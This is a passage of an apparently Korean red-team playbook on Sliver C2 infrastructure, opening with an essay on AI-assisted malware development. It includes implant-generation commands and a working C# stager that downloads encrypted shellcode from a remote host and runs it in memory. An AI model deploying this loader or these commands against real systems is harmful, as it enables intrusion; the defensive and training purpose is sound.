그렇다고 해서 실제 공격자들이 다 대단한 공격자들만 있는 것은 아니다. 대다수의 공격을 차지하고 있는 (혹은, 적어도 걸려서 탐지되어 트래킹이 가능한 공격들을 차지하고 있는...) 공격자들은 이미 나와 있는 코드/기법을 재사용하는 것에 그친다. 실력 있는 APT 그룹들도 Attribution의 문제 때문에라도 그저 이미 나와 있는 도구들을 재사용하는 경우도 있다.

하지만, 그렇지 않은 경우도 많다. 듣도보지도 못한 기법들, "이래야 APT 급이지"라는 말이 절로 나오는 악성코드들, 단순 Maldev를 넘어 프레임워크, ORB 네트워크, 광범위한 자동 정찰/공격 도구들까지, 깊이와 그 스케일이 굉장한 공격자들도 있다. 십여 년 전 공개된 Vault 7만 보더라도, 우리가 모른다는 사실조차 모르는(Unknown Unknowns) 기술과 기법, 도구들을 개발하고 사용하는 공격자들도 많다.

그런 공격자들의 코드와 기법을 보고 배우고, 분석하고, 이를 시뮬레이션해 "우리도 이거 막을 수 있을까?"를 알아보고자 하는 니즈는 오랫동안 있었지만, 항상 민간의 모든 일이 그렇듯 시간과 예산에 가로막혀 "에이 그냥 CS에 impacket이나 쓰자"가 디폴트가 됐던 적이 한두 번이 아니다.

### AI

AI는 이런 판도를 바꾼다. 물론 AGI가 나와 진정한 "AI 해커"가 나오면 그 즉시 모든 기술 보안인들이 (그리고 모든 화이트칼라들이?) 실직하게 되겠지만, 아직은 그 정도까진 아니다. 현재 실무에서 사용하는 AI는, 굉장히 유용하고 도움이 되는 툴이다. 이번 프로젝트만 해도 그렇다. 머릿속에 있었던 악성코드의 구조, 방어 회피 기법들, 평소에 생각만 하던 것들을 이제는 AI를 통해 코드로 구현이 가능해졌다. 그것도 매우 빠르게 말이다. 단 2\~3일 만에 나름 성능이 좋은 EDR도 우회할 만한 수준의 코드/기법을 재구현한다는 것은 정말 고무적인 일이다.

### 한계

그리고 여기까지만 읽으면, AI 만능론에 빠지기 쉽다. "캬 역시 AI 해커지", "이제 Maldev/Capdev도 AI가 해주네"라는 생각과 함께, "AI 해커" 솔루션/프레임워크들을 만들고 있는 수많은 스타트업들의 선견지명에 다시 한 번 감탄하며 주머니에서 솔루션 구입비를 꺼내는 회사들도 많을 것이다.

하지만 직접 해보지 않으면 모른다. 직접 실무에 사용할 퀄리티의 코드를 작성하고, 진짜 레드팀 작전을 뛰고, 업계 EDR/NDR을 우회하며, 블루팀과 협업하고, Maldev/Capdev를 해보는, 최전선에서 레드팀 업무를 하지 않는 이상은 모르는 부분이 있다.

이번 프로젝트를 하면서도 사실 기대가 컸다. 레드팀 및 모의해킹을 하며 직접 오퍼레이션을 제외하고 AI를 안 쓴 적이 없었고, 나만의 잘 사용하는 방법이나 하네스까지 잘 준비를 했기 때문에, 3일이면 잘 끝낼 수 있을 거라고 생각했다. 심지어 보고서에 나왔던 코드나 기법들도 내가 평소에 잘 알고 있고 자주 사용했던 것들이라, 100% 미지의 코드/기법을 재구현하는 것도 아니었기에 금방 끝날 줄 알았다. 혹은, 적어도 삽질을 그만큼 덜 할 줄 알았다.

하지만 그렇진 않았다. 버그가 나온 것은 둘째치고, 아예 감을 못 잡는 경우가 많아 꽤나 많이 guidance를 해줘야 했다. AI가 빠르게 코드를 뱉어내는 것과, 그 코드가 실제로 EDR을 우회하며 안정적으로 동작하는 것 사이에는 아직 꽤 큰 간극이 있다.

* Barrel-Kit 제작 시 겉보기엔 그럴듯해 보이는 코드였지만 CPU 사용량이 40%를 찍어버린다거나 (크라켄 슬립의 DLL unmap/remap을 sleep 0에도 적용하길래 기겁해서 바로 개입했다)
* Suspicious Module loading 탐지 룰 때문에 고치라고 했더니 System32 아래에 있는 모든 DLL을 preloading 해버린다든지 (바로 당장 눈앞의 문제는 해결되는 게 맞다. 근데 DLL preloading 200개씩 하는 프로그램은 정상 프로그램이 아니니까 당연히 EDR에 걸리지... LLM한테 "생각을 하라고 좀" 라는 생각을 했다는 것 자체가 좀 웃겼다)
* 보고서에 나온 아주 기초적인 악성코드의 구조 자체도 이해를 못 하거나, 한 15년 전 구조를 가져와 제작하려고 한다거나 (맨 처음엔 Adaptix C2 쉘코드로 만들어서 그냥 냅다 VirtualAlloc + WriteProcessMemory + CreateRemoteThread 하려고 했다)
* Barrel-Shot 만들 때 mingw 컴파일러 플래그를 그냥 나 악성코드예요 하는 걸로 설정을 해버리질 않나
* 꽤나 자신 있게 만들었던 Barrel-Kit + Barrel-Giga가 첫 48시간 동안에는 Elastic에서 알람만 20개를 띄워서 일일히 다 root cause + potential fix를 찾아주거나, 찾길 도와줘야 하질 않나&#x20;

... 여러모로 많은 삽질이 있었다.

물론, 당연히 알고 있다. "Skill Issue"를 얘기하며 "하네스 설정이 잘못 되어 있으셨겠죠" "모델 설정을 잘못하셨겠죠" "아 Astra/Daybreak 나오면 저런 문제 없어진다구요" "스킬 세팅은 되어 있으셨나요" "프롬프트를 잘못 넣으셨겠죠"... 다 이해한다. 하지만 실제로 오퍼레이션 트리플 배럴만큼의 딥한 문제를 해결하는 데 AI를 전적으로 활용하고 있는, 최전선에 있는 사람들은 알 것이다. 아직까지 사람의 개입 없이 그냥 100% 다 AI한테 맡기고 커피 마시러 갈 수가 없다는 것을 말이다.

물론 물론, 항상 모든 AI Bros들이 그렇듯 "3년만 지나면 다 대체될 듯"이 사실일 수도 있다. 3년이 뭐냐 [AGI 2027](https://ai-2027.com/)지\~ 라고 생각하는 사람도 있을 것이다. "AGI가 아니더라도 어차피 대체될 듯"도 맞는 말일 수도 있다. AI가 오펜시브 시큐리티를 대체한다는 말은, 2019년도 CPTC 대회 당시 Machine Learning을 전공하던 대학원생의 Keynote 때부터 들었다. "여러분이 되려는 모의해커라는 직업은 정확히 7년 뒤에 없어질 것입니다". 당시에는 꽤 충격적이었다. 그 뒤부터 GPT-2, 트랜스포머와 LLM, 최근에는 프론티어 모델들까지 관련된 기술들을 쭉 트래킹했고, 실제로 기술의 발전은 매서웠다. 하지만 최근부터 오퍼레이션 트리플 배럴을 끝낸 오늘까지도, 뭔가 직업이 없어진다거나 사람이 대체될 일은, 적어도 단기간(3\~5년)에는 없을 것 같다는 생각이 든다.

### 고백

그리고 위와 같은 한계들은, 아직 코드베이스에 남아있다. 겉보기에는 정말 그럴듯해보이지만, Barrel-kit, giga, shot에는 아직 해결되지 않은 문제/버그들이 있다. 예를 들어 Async BOF를 실행할 때 Kraken sleep과 충돌하여 에이전트 크래시가 난다던지, SMB/TCP listener, peer-to-peer connection은 테스트가 안됐다던지, 수 많은 버그 픽스와 탐지 룰 회피를 위해 AI가 덕지덕지 기워놓은 코드 때문에 Top 3 EDR 중 하나의 Aggressive 설정에는 탐지가 된다던지, LSA Secrets 덤프 관련된 BOF는 왜인지는 모르겠지만 비컨 크래시도 안나지만, 덤프는 안된다던지 등등... 고쳐야할게 산더미다.

### 그럼에도 불구하고

그럼에도 불구하고, 현재 AI는 레드팀 업무 중 Hands-on 오퍼레이션을 제외하고, 너무나도 유용하다. Maldev, Capdev, 자동화, 외부 정찰, 문서화, 로깅, 인프라 구축, R\&D, 등등, 사실상 안쓰는 곳이 없다. 사실 너무 많이 써서 `생각의 외주화`가 심해지고 있다는 걸 요새 많이 느낀다. 한계는 존재하지만, 모델의 성능이 좋아지며 그 한계들마저 줄어드는 추세고, 앞으로 성능은 좋아지면 좋아졌지 더 나빠질 수가 없을 것이다(opus 5.0 제외).

### 결론

AI는 Maldev/Capdev의 진입 장벽을 확실히 낮춰줬다. 예전에는 몇 주, 몇 달이 걸리던 작업을 며칠 만에 해낼 수 있게 됐고, 머릿속에만 있던 기법들을 실제 코드로 빠르게 옮길 수 있게 됐다. AI의 발전 때문에 "AI 해커"가 나와서 모든 레드티머들이 일자리를 잃는 일은, 적어도 단기간에는 일어나지 않을 것 같다.

오히려, 그 반대다. 공격자 시뮬레이션과 에뮬레이션은 더 이상 업계 20년차 레드티머들만이 할 수 있는 일이 아니다. 누구나 프로그래밍과 Maldev/Capdev 기본 지식이 있고, 약간의 경험만 있어도 바로 뛰어들 수 있는 일이 되었다. 더 많은 회사가 레드팀을 받고, 레드팀을 시작하고, 레드팀 작전을 뛰게 될 것 같다. 적어도 AGI가 나오기 전까지는.

장밋빛 미래만 있는 것은 아니다. 생각의 외주화를 맡겨버린, 결국에는 아무리 "Agentic AI Engineering"과 같은 멋진 단어들로 포장해도 돌고 돌아 "바이브코딩"을 하는 사람들이 많아지면 많아질수록, 레드팀의 리스크는 올라간다. 바이브코딩한 에이전트가 도메인 컨트롤러에서 돌다가 CPU가 30%를 튀는 순간, 큰 일이 벌어질 수 있다. 어젯밤 클로드와 만든 키로거가 완벽해보였지만, 그 작은 엣지 케이스 하나 때문에 임직원 PC에 설치해서 실행하는 순간 BSOD를 일으켜 가용성 문제를 만들어낼수도 있다. 탐지되는 건 말할 것도 없다.

결국 AI가 만들어낸 코드를 실전에서 쓸 수 있는 수준으로 끌어올리는 건 결국 오퍼레이터의 경험과 판단이다. AI는 손을 빠르게 해주지만 머리까지 대체해주진 않는다. "이 코드가 안전한지", "왜 EDR에 걸리는지", "이 구조가 왜 2026년에는 안 통하는지"를 아는 건 아직까지는 사람의 영역이다.

머릿속에만 있던 것을 실제로 3일 밤낮으로 삽질하며 프로젝트화 해보니 좀 더 생각이 명확해지는 느낌이다. 오랜만에 Show, Don't Tell을 할 수 있어서 재밌었다.

그러면 더 많은 Maldev, Capdev, 그리고 AI를 똑똑하게 활용하게 되길 바라며,

Happy Hacking!


# 개념

레드팀은 실제 공격자가 아닌, 공격자들을 시뮬레이션 하는 업계 전문가들이다. 따라서 레드팀들은 실제 공격자와는 다르게 작전 실행 도중 더 큰 책임감을 갖고 작전을 수행해야한다. 계약을 맺은 고객사, 자사, 플랫폼 회사, 그리고 제 3자의 타사들의 데이터를 책임감 있고 안전하게 다루면서도 실제 공격자들을 시뮬레이션 할 줄 알아야한다.

이런 문제점들을 해결하고 책임감 있게 레드팀 작전을 수행하기 위해선 공격자 인프라를 안전하게 구축해야한다.

## 용어 정리 (Terminology)

![레드팀 용어 정리](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-9fe4eb0b759042f0b4dfb5f4ac73c38884db323c%2F%EC%9A%A9%EC%96%B4%EC%A0%95%EB%A6%AC.drawio.png?alt=media)

### C2 서버 관련 용어

* C2(Command and Control) 서버 - 공격자가 감염시킨 피해자 호스트들을 조종할 수 있는 중앙 서버. 봇넷 (botnet)의 중앙 서버와 비슷한 개념이다.
* 팀 서버(Teamserver) - C2 서버가 설치된 호스트.
* 리스너(Listener) - 비컨의 콜백을 받는 C2서버의 페이로드 핸들러. 프로토콜, 호스트 이름, 포트, 페이로드 종류 등을 설정한 뒤, 리스너로 "듣고" 있다가, 비컨이 해당 리스너로 콜백(callbck)해서 연결되면 그때부터 C2 서버에서 비컨 및 피해자 호스트를 조종할 수 있게 된다.
* 비컨/에이전트(Beacon, Agent) - 피해자 호스트에서 실행되어 C2 서버의 리스너로 콜백하는 악성코드의 일종. 진화된 RAT (Remote Access Trojan) 이라고도 볼 수 있다.

### 인프라 관련 용어

* 리다이렉터 (Redirector) - 인터넷 접근 가능한 클라우드 플랫폼 혹은 VPS (Virtual Private Server). 비컨으로부터 오는 콜백을 팀 서버로 리다이렉트 하는 역할을 담당한다. 리다이렉터들은 팀 서버를 인터넷에 노출하지 않기 위해 사용된다.
* 공격자 도메인 (Domain) - 작전에 사용될 도메인 이름.
* 도메인 프론팅 (Domain Fronting) - CDN 인프라의 특징과 HTTP/HTTPS의 특징을 이용해 비컨이 CDN으로 콜백을 하는 것처럼 보이지만 실제로는 공격자의 리다이렉터로 콜백하는 TTP 중 하나. 도메인 프론팅에 대해서는 다른 페이지에서 서술한다.&#x20;

## 레드팀 인프라 공간 개념

![https://malcomvetter.medium.com/safe-red-team-infrastructure-c5d6a0f13fac Tim MalcomVetter의 안전한 레드팀 인프라 중.](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-3cfb3c0e6afce52dc45e2b9d617c5d5d4806e7fb%2Fimage.png?alt=media)

### 레드팀 인프라의 3가지 구분

* **레드팀 공간 (Red Team Space) -** 레드팀의 C2 , 설정 비밀, 패킷 캡처, 툴링이 자리잡고 있는 공간. 레드팀이 소유하고 있고 물리적으로 접근 가능한 온프레미스 하드웨어와 네트워크로 이뤄져있다. 중요하고 민감한 데이터 - 고객 데이터, API키, 비밀번호, 설정 방법, 문서 등 - 은 모두 이 레드팀 스페이스 안에서만 존재해야한다.\\
* **중립/그레이 공간 (Neutral/Gray Space) -** 외부 인터넷에서 접근 가능한 레드팀 호스트들이 자리잡고 있는 공간. 작전 시 사용되는 프록시, 리다이렉터 (Redirectors), 도메인 프론팅 서버, CDN 서버 등이 작동하고 있는 클라우드/CDN 플랫폼이라고 보면 된다. 중립 공간안의 서버들은 뒤에 나올 타겟 공간에서 실행된 비컨/리버스 쉘/트래픽과 소통할 수 있다.\\
* **타겟 공간 (Victim Org Space) -** 공격이 이뤄지는 타겟 기관의 네트워크로 이뤄진 공간이다. 현재 레드팀이 공격중인 타겟의 네트워크이며, 대부분 한개 이상의 비컨 (Beacon) 이 작동해 레드팀의 중립 공간의 리다이렉터로 콜백한다.

### 예시

용어들만 나열해놓고 보니 조금 헷갈린다. 하나의 예시를 들어보자.

![간단한 레드팀 인프라 사용 예시](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8534ac1b5b6740c641871468f4ef85533da5ff80%2F%EB%A0%88%EB%93%9C%ED%8C%80-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B0%84%EB%8B%A8.drawio\(1\).png?alt=media)

레드팀 회사 소속의 "choi" (초이) 직원은 오늘도 회사에 출근한다. 초이는 회사 내 온프레미스에 있는 팀 서버로 접속한다. 회사 내 팀 서버와 고객사 피해자 호스트를 인터넷을 통해 서로 연결할 수 없기에 AWS 에다가 리다이렉터 서버를 설치해놨다. 물론 해당 리다이렉터 서버에는 방화벽이 있어 팀 서버의 IP주소와 SSH 트래픽이 아닌 모든 트래픽은 무시한다.

초이는 SSH 공개 인증키를 통해 AWS에 있는 리다이렉터에 접속한다. 접속하면서 SSH 리모트 포트 포워딩을 통해 리다이렉터의 2222/tcp 포트로 오는 모든 트래픽을 팀 서버의 443 포트로 보내도록 설정한다. 이후 리다이렉터 서버에서 다시 한 번 socat 등의 툴을 이용해 리다이렉터의 443/tcp 포트로 오는 모든 트래픽을 리다이렉터의 2222/tcp 포트로 보내도록 설정한다.

이후, 초이는 모종의 방법을 통해 피해자 타겟을 감염 시킨 뒤, 비컨을 실행시켰다. 비컨은 다음과 같은 과정을 통해 팀 서버의 리스너에 연결된다:

1. 비컨이 작전에 사용될 도메인 - `attackerchoi.com:443` 으로 콜백한다.
2. `attackerchoi.com:443` 에는 리다이렉터 서버가 자리잡고 있다. socat 의 리다이렉트를 통해 `attackerchoi.com:443` 에서 `localhost(리다이렉터):2222` 로 트래픽을 전송한다.
3. SSH 리모트 포트 포워딩에 따라 `localhost(리다이렉터):2222` 에서 팀 서버 `192.168.1.1:443` 로 트래픽을 전송한다.
4. 팀 서버의 사설 IP 주소인 `192.168.1.1:443` 에서 실행중이던 리스너는 리다이렉터가 보낸 비컨의 트래픽을 받고 연결을 확인한다.
5. 이제 공격자의 팀 서버와 피해자 호스트에서 실행중인 비컨이 연결됐다. 공격자는 이 연결을 통해 비컨에게 다양한 명령을 내릴 수 있다.

### 레퍼런스

[Responsbile Red Team](https://malcomvetter.medium.com/responsible-red-teams-1c6209fd43cc)

[Safe Red Team Infrastructure](https://malcomvetter.medium.com/safe-red-team-infrastructure-c5d6a0f13fac)

[Red Team Infra Done Right](https://notes.huskyhacks.dev/blog/red-team-infrastructure-done-right)

[Red Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki)

[Infrastructure as Code](https://rastamouse.me/infrastructure-as-code-terraform-ansible/)


# 예시 인프라

다음은 이 플레이북에서 쓰일 레드팀 인프라다. 개념증명과 교육용으로만 쓰일 것이기 때문에 최대한 간단하게 만들었다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-6938e00ee3dc471b37fc68086f7331c39651132a%2F%ED%99%88%EB%9E%A9-%EA%B5%AC%ED%98%84%EB%8F%84.drawio\(2\).png?alt=media)

앞서 "개념" 페이지에서 알아봤던 레드팀의 리소스들 (팀 서버, 도메인, 리다이렉터, 네뷸라)과 타겟 공간의 `choi.local` 과 `pci.choi.local` 도메인 또한 준비했다.

### 도덕적인 보안 연구

안전하고 도덕적인 보안 연구를 위해 모든 리소스들은 본인 소유의 리소스들로만 준비했다. 예를 들어 메인 호스트안에 있는 팀 서버, `choi.local`, `pci.choi.local`, AWS 안의 리다이렉터, 네뷸라 등대서버, 집 공유기와 방화벽, 그리고 공격자 도메인까지, 모두 내가 소유하고 만든 리소스들이며, 본인의 집 IP주소를 제외하고는 인터넷과는 모두 연결이 차단되어 있는 리소스들이다.

다음 페이지들에서는 실제로 팀 서버, 도메인, 네뷸라, 리다이렉터 서버등을 어떻게 구현하는지에 대해서 알아본다.


# 팀 서버 - Sliver

## Sliver

슬리버(Sliver)는 BishopFox사에서 제작/관리하고 있는 golang 기반의 오픈소스 C2 프레임워크다. 러시아의 정보기관인 SVR(Foreign Intelligence Service)도 2021년 여름 작전에 사용했을 만큼 APT 그룹들 또한 사용하고 있는 C2다. 이와 관련해서 영국의 National Cybersecurity Centre (NCC) 가 발표한 보고서는 [여기서 확인](https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf)할 수 있다.

설치와 튜토리얼은 모두 [슬리버 프로젝트 위키](https://github.com/BishopFox/sliver/wiki/Getting-Started)를 참고했다.

### 설치

다음 명령어를 사용해 슬리버 C2 서버를 설치한다.

```
curl https://sliver.sh/install|sudo bash
< ... 설치 ... > 

┌──(root㉿kali)-[/opt]
└─# sliver
Connecting to localhost:31337 ...

          ██████  ██▓     ██▓ ██▒   █▓▓█████  ██▀███
        ▒██    ▒ ▓██▒    ▓██▒▓██░   █▒▓█   ▀ ▓██ ▒ ██▒
        ░ ▓██▄   ▒██░    ▒██▒ ▓██  █▒░▒███   ▓██ ░▄█ ▒
          ▒   ██▒▒██░    ░██░  ▒██ █░░▒▓█  ▄ ▒██▀▀█▄
        ▒██████▒▒░██████▒░██░   ▒▀█░  ░▒████▒░██▓ ▒██▒
        ▒ ▒▓▒ ▒ ░░ ▒░▓  ░░▓     ░ ▐░  ░░ ▒░ ░░ ▒▓ ░▒▓░
        ░ ░▒  ░ ░░ ░ ▒  ░ ▒ ░   ░ ░░   ░ ░  ░  ░▒ ░ ▒░
        ░  ░  ░    ░ ░    ▒ ░     ░░     ░     ░░   ░
                  ░      ░  ░ ░        ░     ░  ░   ░

All hackers gain haste
[*] Server v1.5.14 - 1d4422b465a53b78497461930239bb558a0bf652
[*] Welcome to the sliver shell, please type 'help' for options

```

이후 에이전트 생성에 필요한 mingw 를 설치한다.

```
apt install mingw-w64 -y
```

### 튜토리얼 - 리스너 구축 및 사용

제대로된 리스너 구축 및 비컨 생성에 대해 알아보기 전, 먼저 간단하게 슬리버의 기본 기능들을 사용해보자. 이 튜토리얼에서는 HTTP 리스너를 구축한 뒤, 윈도우 10 호스트에서 실행할 수 있는 에이전트를 생성하고, 세션을 구축해본다.

**리스너 생성**

```
# HTTP 리스너 구축 
sliver> http -L <ip> --lport 8080 

# 예시 
sliver > http -d 192.168.40.182 -l 80

[*] Starting HTTP 192.168.40.182:80 listener ...
[*] Successfully started job #10
```

**에이전트 생성**

```
# 예시 
sliver > generate --http 192.168.40.182 -s /root/operation/demo.exe 

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
 ⠦  Compiling, please wait ...
[*] Build completed in 00:01:01
[*] Implant saved to /root/operation/demo.exe
```

**에이전트 실행**

간단하게 피해자 호스트에서 비컨을 다운 받은 뒤, 실행시킨다. 튜토리얼이기 때문에 디펜더 등의 모든 AV/EDR 솔루션들은 다 꺼놓는다. 슬리버를 사용하는게 주 목적이지, 완전한 레드팀 작전을 수행하는게 주 목적이 아니기 때문이다.

```
# 공격자 웹서버 실행, demo.exe 에이전트 파일 호스팅 
cd /root/operation/
python3 -m http.server 8443

# 피해자 호스트에서 공격자의 웹서버 접근 뒤 demo.exe 다운 및 실행 

# 에이전트 실행 뒤 세션 구축 
[*] Session fef4c787 PREFERRED_ESE - 192.168.40.151:50118 (wkstn01) - windows/amd64 - Mon, 06 Jun 2022 22:11:03 EDT

sliver > sessions 

 ID         Name            Transport   Remote Address         Hostname   Username                Operating System   Last Message                    Health  
========== =============== =========== ====================== ========== ======================= ================== =============================== =========
 fef4c787   PREFERRED_ESE   http(s)     192.168.40.151:50118   wkstn01    WKSTN01\Administrator   windows/amd64      Mon, 06 Jun 2022 22:11:05 EDT   [ALIVE] 
```

**세션 구축**

에이전트로 구축한 세션을 실행한 뒤 원하는 명령어들을 실행한다.

```
sliver > sessions -i fef4c787

[*] Active session PREFERRED_ESE (fef4c787)

sliver (PREFERRED_ESE) > whoami

Logon ID: WKSTN01\Administrator
[*] Current Token ID: WKSTN01\Administrator

sliver (PREFERRED_ESE) > ls

C:\Users
========
drwxrwxrwx  Administrator       <dir>  Thu Dec 16 21:13:52 -0500 2021
drwxrwxrwx  Administrator.CHOI  <dir>  Mon Feb 07 22:09:25 -0500 2022
Lrw-rw-rw-  All Users           0 B    Sat Dec 07 04:30:39 -0500 2019
```

#### 비컨 사용

세션 기반이 아닌 비컨 기반의 에이전트는 다음과 같이 사용한다.

```
sliver > beacons
sliver > use 5364f10d-43d0-41e5-8bfe-55c09a0ee8d3

[*] Active beacon LOST_QUICKSAND (5364f10d-43d0-41e5-8bfe-55c09a0ee8d3)

sliver (LOST_QUICKSAND) > 
```

#### 플러그인 설치

슬리버는 약 60가지의 포스트 익스플로잇 툴들을 제공한다.

```
sliver> armory install all 
sliver> use <beacon-name>

# 설치된 툴들 확인 
sliver> help  
sliver> sharp-hound-3 '' -c All -d choi.local 
```

앞으로 인프라를 구축하면서 슬리버의 고급 기능들을 사용하겠지만, 일단 튜토리얼은 여기서 마친다.


# 스테이저 (Stager) 사용

슬리버 C2의 에이전트는 PE 바이너리로 생성할 경우 약 10MB 정도의 큰 크기를 갖는다. 또한 슬리버를 통해 생성한 바이너리의 경우 이미 AV/EDR 솔루션들에게 시그니처를 당했기 때문에 정적 탐지에 걸릴 확률이 높다. 마지막으로, 타겟이 `.exe` PE 바이너리 파일을 다운 받아 실행시키는 초기 침투 방법은 탐지 확률이 높아 2000년대 이후로 기피되고 있다.

이런 문제점들을 해결하기 위해 슬리버 C2에서는 스테이저(Stager)를 사용한다. 스테이저란 먼저 타겟 호스트에서 실행된 뒤 메인 비컨 쉘코드를 다운받아 메모리상에서 실행하는 쉘코드다. 스테이저와 관련된 요소들은 다음과 같다.

* 스테이저(stager): 슬리버 C2나 외부에서 메인 비컨 쉘코드를 다운받아 메모리상에서 실행시켜주는 쉘코드
* 스테이저-리스너(stager-listener): 스테이저가 방문해 메인 비컨 쉘코드를 다운 받을 리스너
* 프로필(profile): 메인 비컨 쉘코드 프로파일

이외에도 슬리버 C2 프레임워크가 만들어주는 스테이저를 사용하지 않고 스스로 직접 커스텀 스테이저를 만들수도 있다. 이 경우 다음과 같은 방법으로 메인 비컨이 실행된다.

1. 커스텀 스테이저가 C2 서버(실제론 리다이렉터)의 스테이저-리스너에 방문해 메인 비컨 쉘코드를 바이트 배열 포멧으로 받아온다
2. 메인 비컨 쉘코드를 가지고 있던 키와 IV로 복호화한다
3. 메인 비컨 쉘코드를 인젝션 하거나 해당 프로세스에 로드해 실행한다
4. 메인 비컨은 실행되어 실제 리스너에 방문해 비컨 활동을 시작한다

여기서 조금 헷갈리는 것은 실제 리스너와 스테이저-리스너가 같은 포트를 공유할 수 있다는 점이다. 확실히 알아보기 위해 실습을 해보자.

### 실습

먼저 메인 비컨의 쉘코드 프로파일을 생성해준다.

```
# TODO - 공격 도메인이 아닌 간단한 http 실습 작성 

# 메인 비컨 쉘코드 프로필 생성 
profiles new beacon --http https://info.koreambtihealth.com:443 --format shellcode win-shellcode

# 스테이지 리스너 생성 
stage-listener --url https://info.koreambtihealth.com:443 -c /root/redteam/certbot/fullchain.pem -k /root/redteam/certbot/privkey.pem --profile win-shellcode
```

여기까지 실행하면 다음과 같은 것들이 준비된 것이다

1. 메인 비컨 쉘코드를 만들기 위한 프로필 (양식/템플릿) - 메인 비컨은 https를 이용해 `info.koreambtihealth.com` 의 포트 443을 가진 메인 리스너로 콜백한다.
2. 스테이저 리스너는 스테이저로부터 쉘코드를 공급하기 위해 만들어진 리스너다. 스테이저가 https를 이용해 `info.koreambtihealth.com` 의 포트 443로 방문하면, 메인 비컨의 쉘코드를 다운받도록 도와준다.

### 스테이저

스테이저 코드는 Sliver 공식문서 것을 사용한다. 추후 `Defense Evasion` 섹션에서 이 스테이저를 좀 더 고급스럽게 만들 것이지만, 일단은 간단하게 C# + PInvoke를 이용한 VirtualAlloc + Marshal.Copy + CreateThread + WaitForSingleObject 콤보를 사용한다.

<details>

<summary>SliverStager.cs1</summary>

```csharp
using System;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "https://<ip/FQDN>:<port>/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            shellcode = Decrypt(shellcode, AESKey, AESIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}
```

</details>

여기서 특이한 점은 바로 `private static string url = "https://<ip/FQDN>:<port>/test.woff";` 이 라인이다. `test.woff` 라는 파일을 만든 적이 없는데 이걸 왜 쓰는거지? 라고 궁금했었는데, `stage-listener` 는 기본적으로 클라이언트가 `*.woff` 라는 파일 확장자를 가진 파일을 요청하면 슬리버 쉘코드를 반환해주기에 사용한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-e72ca1ab4e1ca2489ca644b1b3284819d2cbf343%2Fsliver-stager.gif?alt=media)

### 무기화

커스텀 스테이저가 C#으로 만들어졌기 때문에 이를 파워쉘에서 불러올수도 있고, 이 파워쉘 코드를 Follina 나 MS Office 매크로 등에서 사용하는 것도 가능하다. 이에 관련해서는 `실행 (Execution)` 파트에서 다룬다.

### 대응 방안

특정 프로세스가 특정 도메인에 방문할 때 URL 주소 끝에 `.woff` 가 들어가있고, 반환된 `.woff` 파일이 암호화된, 혹은 알아볼 수 없는 raw binary data 일 경우, 그리고 그 크기가 8\~15MB 일 때 슬리버 쉘코드일 확률이 매우 높다.

물론 이는 또 Malleable C2를 이용해 우회할 수 있지만, 이것은 다른 페이지에서 설명한다.

그 외에는 초기 침투 단계와 실행 단계에서 막아내거나, 프로세스 인젝션 단계에서 막는 방법, 그리고 도메인 신뢰도 등을 이용해 수상한 도메인 접근을 시도하는 프로세스를 막는 방법 등이 존재한다.

### 레퍼런스

{% embed url="<https://github.com/BishopFox/sliver/wiki/Stagers>" %}


# 도메인 분류와 신뢰도

